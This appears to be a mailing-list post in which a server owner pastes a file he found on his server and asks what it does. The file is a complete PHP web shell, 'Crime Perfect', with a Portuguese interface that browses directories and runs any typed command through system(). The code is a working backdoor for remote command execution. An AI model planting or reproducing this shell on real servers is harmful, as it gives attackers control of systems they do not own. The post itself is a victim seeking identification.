I found this on my server... I have no idea what it is... can someone
tell me what it does...
Thanks
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<html> <head>
<title>PHP Shell - CP</title>
</head>
<body bgcolor="#FFFFFF" text="#333333" link="#000000" vlink="#000000"
alink="#000000">
<h1 align="center"><font size="+4" face="verdana">Crime
Perfect</font><br>
<font face="Tahoma" size="+1">PHP Shell - by _m4st3r_c0d3</font></h1>
<?php
/* First we check if there has been asked for a working directory. */
if (isset($work_dir)) {
/* A workdir has been asked for - we chdir to that dir. */
chdir($work_dir);
$work_dir = exec("pwd");
} else {
/* No work_dir - we chdir to $DOCUMENT_ROOT */
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p><b>Diretório em que você está no momento:
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" .
urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted[0] == "") {
$work_dir = "/"; /* Root directory. */
} else {
for ($i = 0; $i < count($work_dir_splitted); $i++) {
/* echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" .
urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?>
</b></p>
<p><b>Escolha abaixo o diretório em que deseja ir:</b></p>
<select name="work_dir" onChange="this.form.submit()">
<?php
/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
if ($dir == ".") {
echo "<option value=\"$work_dir\" selected>Current
Directory</option>\n";
} elseif ($dir == "..") {
/* We have found the parent dir. We must be carefull if the parent
directory is the root directory (/). */
if (strlen($work_dir) == 1) {
/* work_dir is only 1 charecter - it can only be / */
} elseif (strrpos($work_dir, "/") == 0) {
/* The last / in work_dir were the first charecter.
This means that we have a top-level directory
eg. /bin or /home etc... */
echo "<option value=\"/\">Parent Directory</option>\n";
} else {
/* We do a little bit of string-manipulation to find the parent
directory... Trust me - it works :-) */
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"),
1)) ."\">Parent Directory</option>\n";
}
} else {
if ($work_dir == "/") {
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
} else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>
</select>
<p><b>Digite abaixo os comandos que deseja executar:</b></p>
<input type="text" name="command" size="60" <?php if ($command) { echo
"value=\"$command\"";} ?> > <input name="submit_btn" type="submit"
value="Execute Command"></p>
<p>Ligar/Ativar <code>stderr</code>-trapping?
<input type="checkbox" name="stderr"></p>
<p><b>Abaixo, terminal onde aparecerá os resultados dos comandos
que
você executou</b></p>
<p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
if ($stderr) {
system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm
/tmp/output.txt");
} else {
system($command);
}
}
?>
</textarea>
</p>
</form>
<p><b>Crime Perfect 2003 </b></p>
<p><b>By _m4st3r_c0d3 - #crimeperfect</b></p>
</div>
</body>
</html>
Joe Harman
http://www.HarmanMedia.com
Only two things are infinite, the universe and human stupidity, and I'm
not sure about the former. - Albert Einstein